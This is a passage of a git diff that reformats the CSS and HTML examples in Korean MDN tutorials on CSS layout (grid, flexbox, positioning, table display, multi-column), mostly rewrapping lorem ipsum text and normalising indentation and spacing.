+      natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+    </p>
   </article>
-  <aside><h2>Other things</h2>
-    <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p>
+  <aside>
+    <h2>Other things</h2>
+    <p>
+      Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+      ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+      est.
+    </p>
   </aside>
   <footer>Contact me@mysite.com</footer>
 </div>
@@ -611,12 +670,15 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .container {
   display: grid;
-  grid-template-columns: repeat(12, minmax(0,1fr));
+  grid-template-columns: repeat(12, minmax(0, 1fr));
   grid-gap: 20px;
 }
 
@@ -644,14 +706,13 @@ header,
 footer {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
 
 aside {
   border-right: 1px solid #999;
 }
-
 ```
 
 ```html hidden
@@ -659,16 +720,37 @@ aside {
   <header>이것은 나의 사랑스런 블로그입니다</header>
   <article>
     <h1>내 글</h1>
-    <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-    <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+    <p>
+      Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+      imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus
+      massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra
+      egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada
+      et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac
+      imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis
+      ornare egestas augue ut luctus. Proin blandit quam nec lacus varius
+      commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+    </p>
+
+    <p>
+      Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+      ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+      est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+      tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+      lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra
+      quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis
+      natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+    </p>
   </article>
-  <aside><h2>Other things</h2>
-    <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p>
+  <aside>
+    <h2>Other things</h2>
+    <p>
+      Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+      ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+      est.
+    </p>
   </aside>
   <footer>Contact me@mysite.com</footer>
 </div>
-
 ```
 
 {{ EmbedLiveSample('Grid_8', '100%', 400) }}
diff --git a/files/ko/learn/css/css_layout/introduction/index.md b/files/ko/learn/css/css_layout/introduction/index.md
index 003e8b4e16a226..9d5e6806a94ede 100644
--- a/files/ko/learn/css/css_layout/introduction/index.md
+++ b/files/ko/learn/css/css_layout/introduction/index.md
@@ -2,6 +2,7 @@
 title: CSS 레이아웃 입문서
 slug: Learn/CSS/CSS_layout/Introduction
 ---
+
 {{LearnSidebar}}{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}
 
 이 문서에서는 이전 모듈에서 이미 다뤘던 CSS 레이아웃 기능, 예를 들어 서로 다른 {{cssxref("display")}} 속성값의 차이 등을 복습하고, 이번 모듈에서 다룰 예정인 몇몇 CSS 개념을 소개합니다.
@@ -95,14 +96,15 @@ flexbox는 [가변 상자 레이아웃](/ko/docs/Web/CSS/CSS_Flexible_Box_Layout
 그러나 부모 요소에 `display: flex`를 부여하면 세개 항목이 자체적으로 단으로 배열된다. 그렇게 된 까닭은 그들 요소들이 *가변 항목*이 되었을 뿐만 아니라 flexbox가 그들 요소에 부여한 일부 초기값을 사용했기 때문이다. 그들은 행으로 표시되었는데, 그 까닭은 {{cssxref("flex-direction")}}의 초기값이 `row`이기 때문이다. 그들은 모두 항목 무리에서 키가 가장 큰 높이로 연장된 모양새가 되는데, 그 까닭은 {{cssxref("align-items")}} 속성의 초기값이 `stretch`이기 때문이다. 즉, 항목 무리가 가변 컨테이너의 높이에 맞춰 연장된다는 것으로 이번 경우에 키가 가장 큰 항목이 기준으로 정해진다. 항목 무리 전체가 가변 컨테이너의 초입에 맞춰 정렬하면서 행의 말미에 여분의 공간이 남겨진다.
 
 ```css hidden
-* {box-sizing: border-box;}
+* {
+  box-sizing: border-box;
+}
 
 .wrapper > div {
-    border-radius: 5px;
-    background-color: rgb(207,232,220);
-    padding: 1em;
+  border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  padding: 1em;
 }
-
 ```
 
 ```css
@@ -126,31 +128,32 @@ flexbox는 [가변 상자 레이아웃](/ko/docs/Web/CSS/CSS_Flexible_Box_Layout
 이에 대한 간단한 예로 자식 항목 전체에 대한 {{cssxref("flex")}} 속성에 대해 속성값 `1`을 부가할 수 있다. 그로 인해 컨테이너 말미에 공간을 남기지 않고 항목 무리 전체가 확대되거나 채워지도록 만든다. 항목 무리보다 많은 공간이 있을 경우는 늘어날 것이고 적은 공간이 있으면 축소될 것이다. 게다가 HTML 마크업에 다른 요소를 추가하면 그 대상 요소를 위한 공간 생성을 위해 항목 무리 전체가 축소될 것이다. 그들은 그 요소가 뭐가됐건 동일한 공간 점유를 위해 크기가 조종된다.
 
 ```css hidden
-    * {box-sizing: border-box;}
-
-    .wrapper > div {
-        border-radius: 5px;
-        background-color: rgb(207,232,220);
-        padding: 1em;
-    }
+* {
+  box-sizing: border-box;
+}
 
+.wrapper > div {
+  border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  padding: 1em;
+}
 ```
 
 ```css
 .wrapper {
-    display: flex;
+  display: flex;
 }
 
 .wrapper > div {
-    flex: 1;
+  flex: 1;
 }
 ```
 
 ```html
 <div class="wrapper">
-    <div class="box1">하나</div>
-    <div class="box2">둘</div>
-    <div class="box3">셋</div>
+  <div class="box1">하나</div>
+  <div class="box2">둘</div>
+  <div class="box3">셋</div>
 </div>
 ```
 
@@ -165,33 +168,34 @@ flexbox는 [가변 상자 레이아웃](/ko/docs/Web/CSS/CSS_Flexible_Box_Layout
 반복되는 얘기지만, 디스플레이 속성에 `display: grid`라는 특정 값을 지정하면 그리드 레이아웃으로 전환할 수 있다. 아래 예를 보면 가변 요소 사례에 비슷한 마크업을 사용했다. 하나의 컨테이너와 몇몇 자식 요소가 딸려있다. 우리는 `display: grid` 사용뿐만 아니라 {{cssxref("grid-template-rows")}}와 {{cssxref("grid-template-columns")}}라는 개별 속성을 활용하여 부모 요소를 상대로 일부 행과 열 궤도를 정의한다. 여기 각기 `1fr`값이 지정된 3열과 `100px`이 지정된 2행을 정의했다. 자식 요소 상에 굳이 어떤 규칙도 적용할 필요없이, 그 요소들이 우리가 생성한 그리드 안에 자동적으로 자리잡게 된다.
 
 ```css hidden
-    * {box-sizing: border-box;}
-
-    .wrapper > div {
-        border-radius: 5px;
-        background-color: rgb(207,232,220);
-        padding: 1em;
-    }
+* {
+  box-sizing: border-box;
+}
 
+.wrapper > div {
+  border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  padding: 1em;
+}
 ```
 
 ```css
 .wrapper {
-    display: grid;
-    grid-template-columns: 1fr 1fr 1fr;
-    grid-template-rows: 100px 100px;
-    grid-gap: 10px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+  grid-template-rows: 100px 100px;
+  grid-gap: 10px;
 }
 ```
 
 ```html
 <div class="wrapper">
-    <div class="box1">하나</div>
-    <div class="box2">둘</div>
-    <div class="box3">셋</div>
-    <div class="box4">넷</div>
-    <div class="box5">다섯</div>
-    <div class="box6">여섯</div>
+  <div class="box1">하나</div>
+  <div class="box2">둘</div>
+  <div class="box3">셋</div>
+  <div class="box4">넷</div>
+  <div class="box5">다섯</div>
+  <div class="box6">여섯</div>
 </div>
 ```
 
@@ -200,45 +204,46 @@ flexbox는 [가변 상자 레이아웃](/ko/docs/Web/CSS/CSS_Flexible_Box_Layout
 그리드가 주어지고 나면 앞서 확인했듯 당신의 항목 무리를 그리드 상에 자동 배치하는 동작 방식이 아니라 명시적으로 위치를 지정할 수 있다. 아래 두 번째 예제에서 동일한 그리드를 정의했지만, 이번에는 세개의 자식 항목이 주어졌다. 우리는 {{cssxref("grid-column")}}와 {{cssxref("grid-row")}}를 사용해서 각 항목의 행과 열의 시작과 끝을 지정했다. 이로써 항목 무리가 차지하는 공간이 여러 궤도에 걸쳐 확대되었다.
 
 ```css hidden
-    * {box-sizing: border-box;}
-
-    .wrapper > div {
-        border-radius: 5px;
-        background-color: rgb(207,232,220);
-        padding: 1em;
-    }
+* {
+  box-sizing: border-box;
+}
 
+.wrapper > div {
+  border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  padding: 1em;
+}
 ```
 
 ```css
 .wrapper {
-    display: grid;
-    grid-template-columns: 1fr 1fr 1fr;
-    grid-template-rows: 100px 100px;
-    grid-gap: 10px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+  grid-template-rows: 100px 100px;
+  grid-gap: 10px;
 }
 
 .box1 {
-    grid-column: 2 / 4;
-    grid-row: 1;
+  grid-column: 2 / 4;
+  grid-row: 1;
 }
 
 .box2 {
-    grid-column: 1;
-    grid-row: 1 / 3;
+  grid-column: 1;
+  grid-row: 1 / 3;
 }
 
 .box3 {
-    grid-row: 2;
-    grid-column: 3;
+  grid-row: 2;
+  grid-column: 3;
 }
 ```
 
 ```html
 <div class="wrapper">
-    <div class="box1">하나</div>
-    <div class="box2">둘</div>
-    <div class="box3">셋</div>
+  <div class="box1">하나</div>
+  <div class="box2">둘</div>
+  <div class="box3">셋</div>
 </div>
 ```
 
@@ -263,21 +268,21 @@ flexbox는 [가변 상자 레이아웃](/ko/docs/Web/CSS/CSS_Flexible_Box_Layout
 
 ```css hidden
 body {
-    width: 90%;
-    max-width: 900px;
-    margin: 0 auto;
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
 }
 
 p {
-    line-height: 2;
-    word-spacing: 0.1rem;
+  line-height: 2;
+  word-spacing: 0.1rem;
 }
 
 .box {
-    background-color: rgb(207,232,220);
-    border: 2px solid rgb(79,185,227);
-    padding: 10px;
-    border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  border-radius: 5px;
 }
 ```
 
@@ -286,15 +291,25 @@ p {
 
 <div class="box">부동</div>
 
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,
+  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus
+  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat
+  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros
+  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec
+  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
 ```
 
 ```css
 .box {
-    float: left;
-    width: 150px;
-    height: 150px;
-    margin-right: 30px;
+  float: left;
+  width: 150px;
+  height: 150px;
+  margin-right: 30px;
 }
 ```
 
@@ -337,11 +352,11 @@ body {
 }
 
 p {
-    background-color: rgb(207,232,220);
-    border: 2px solid rgb(79,185,227);
-    padding: 10px;
-    margin: 10px;
-    border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
 }
 ```
 
@@ -380,19 +395,19 @@ body {
 }
 
 p {
-    background-color: rgb(207,232,220);
-    border: 2px solid rgb(79,185,227);
-    padding: 10px;
-    margin: 10px;
-    border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
 }
 ```
 
 ```css
 .positioned {
   position: relative;
-  background: rgba(255,84,104,.3);
-  border: 2px solid rgb(255,84,104);
+  background: rgba(255, 84, 104, 0.3);
+  border: 2px solid rgb(255, 84, 104);
   top: 30px;
   left: 30px;
 }
@@ -431,21 +446,21 @@ body {
 }
 
 p {
-    background-color: rgb(207,232,220);
-    border: 2px solid rgb(79,185,227);
-    padding: 10px;
-    margin: 10px;
-    border-radius: 5px;
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
 }
 ```
 
 ```css
 .positioned {
-    position: absolute;
-    background: rgba(255,84,104,.3);
-    border: 2px solid rgb(255,84,104);
-    top: 30px;
-    left: 30px;
+  position: absolute;
+  background: rgba(255, 84, 104, 0.3);
+  border: 2px solid rgb(255, 84, 104);
+  top: 30px;
+  left: 30px;
 }
 ```
 
@@ -474,33 +489,61 @@ p {
 
 <div class="positioned">고정</div>
 
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
-
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,
+  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus
+  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat
+  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros
+  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec
+  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
+
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,
+  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus
+  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat
+  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros
+  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec
+  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
 ```
 
 ```css hidden
 body {
-    width: 500px;
-    margin: 0 auto;
+  width: 500px;
+  margin: 0 auto;
 }
 
 .positioned {
-    background: rgba(255,84,104,.3);
-    border: 2px solid rgb(255,84,104);
-    padding: 10px;
-    margin: 10px;
-    border-radius: 5px;
+  background: rgba(255, 84, 104, 0.3);
+  border: 2px solid rgb(255, 84, 104);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
 }
 ```
 
 ```css
 .positioned {
-    position: fixed;
-    top: 30px;
-    left: 30px;
+  position: fixed;
+  top: 30px;
+  left: 30px;
 }
 ```
 
@@ -513,13 +556,41 @@ body {
 ```html hidden
 <h1>흡착 포지셔닝</h1>
 
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,
+  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus
+  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat
+  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros
+  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec
+  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
 
 <div class="positioned">흡착</div>
 
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
-
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
+
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,
+  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus
+  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat
+  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros
+  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec
+  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
 ```
 
 ```css hidden
@@ -529,8 +600,8 @@ body {
 }
 
 .positioned {
-  background: rgba(255,84,104,.3);
-  border: 2px solid rgb(255,84,104);
+  background: rgba(255, 84, 104, 0.3);
+  border: 2px solid rgb(255, 84, 104);
   padding: 10px;
   margin: 10px;
   border-radius: 5px;
@@ -564,15 +635,15 @@ HTML 테이블은 표로 나타낸 데이터를 표시하기에는 무난했다.
   <p>우선, 이름과 나이를 말씀해주세요</p>
   <div>
     <label for="이름">이름:</label>
-    <input type="text" id="이름">
+    <input type="text" id="이름" />
   </div>
   <div>
     <label for="성">성:</label>
-    <input type="text" id="성">
+    <input type="text" id="성" />
   </div>
   <div>
     <label for="나이">나이:</label>
-    <input type="text" id="나이">
+    <input type="text" id="나이" />
   </div>
 </form>
 ```
@@ -595,7 +666,8 @@ form div {
   display: table-row;
 }
 
-form label, form input {
+form label,
+form input {
   display: table-cell;
   margin-bottom: 10px;
 }
@@ -635,37 +707,55 @@ form p {
 
 ```html
 <div class="container">
-    <h1>다단 레이아웃</h1>
-
-    <p>단락 1.</p>
-    <p>단락 2.</p>
+  <h1>다단 레이아웃</h1>
 
+  <p>단락 1.</p>
+  <p>단락 2.</p>
 </div>
 ```
 
 우리는 해당 컨테이너에 200픽셀의 단 너비를 사용해서 브라우저가 컨테이너에 맞아 떨어지도록 최대 200픽셀의 단을 만들며, 그 뒤에 생성된 단 사이 나머지 공간을 나눠쓰게 된다.
 
 ```html hidden
-    <div class="container">
-        <h1>다단 레이아웃</h1>
-
-        <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-
-        <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
-
-    </div>
-
+<div class="container">
+  <h1>다단 레이아웃</h1>
+
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at
+    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer
+    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur
+    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.
+    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus
+    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.
+    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,
+    eget fermentum sapien.
+  </p>
+
+  <p>
+    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+    penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+  </p>
+</div>
 ```
 
 ```css hidden
-body { max-width: 800px; margin: 0 auto; }
+body {
+  max-width: 800px;
+  margin: 0 auto;
+}
 ```
 
 ```css
-    .container {
-        column-width: 200px;
-    }
+.container {
+  column-width: 200px;
+}
 ```
 
 {{ EmbedLiveSample('Multicol_1', '100%', 200) }}
diff --git a/files/ko/learn/css/css_layout/legacy_layout_methods/index.md b/files/ko/learn/css/css_layout/legacy_layout_methods/index.md
index 94f48719a5dafb..978ab5de569f71 100644
--- a/files/ko/learn/css/css_layout/legacy_layout_methods/index.md
+++ b/files/ko/learn/css/css_layout/legacy_layout_methods/index.md
@@ -46,18 +46,37 @@ CSS가 아주 최근까지 내장된 격자 시스템을 갖고 있지 않았고
 
 가능한 가장 간단한 예시인 두 개의 열 레이아웃으로 시작하겠습니다. 아래 내용을 따라하려면 당신의 컴퓨터에 `index.html` 파일을 새로 작성하여, 거기에 [간단한 HTML 템플릿](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html)으로 채우고, 파일 내부의 적절한 위치에 아래 코드를 삽입하면 됩니다. 해당 섹션의 맨 아래에는 최종 코드가 어떻게 생겼는지에 대한 실제 예제가 있습니다.
 
-우선, 우리는 칼럼에 넣을 몇 가지 콘텐츠가 필요합니다. 현재 HTML의 바디 내부에 있는 것을 아래 내용으로 대체하십시요:
+우선, 우리는 칼럼에 넣을 몇 가지 콘텐츠가 필요합니다. 현재 HTML의 바디 내부에 있는 것을 아래 내용으로 대체하십시오:
 
 ```html
 <h1>2열 레이아웃 예제</h1>
 <div>
   <h2>첫 번째 열</h2>
-  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
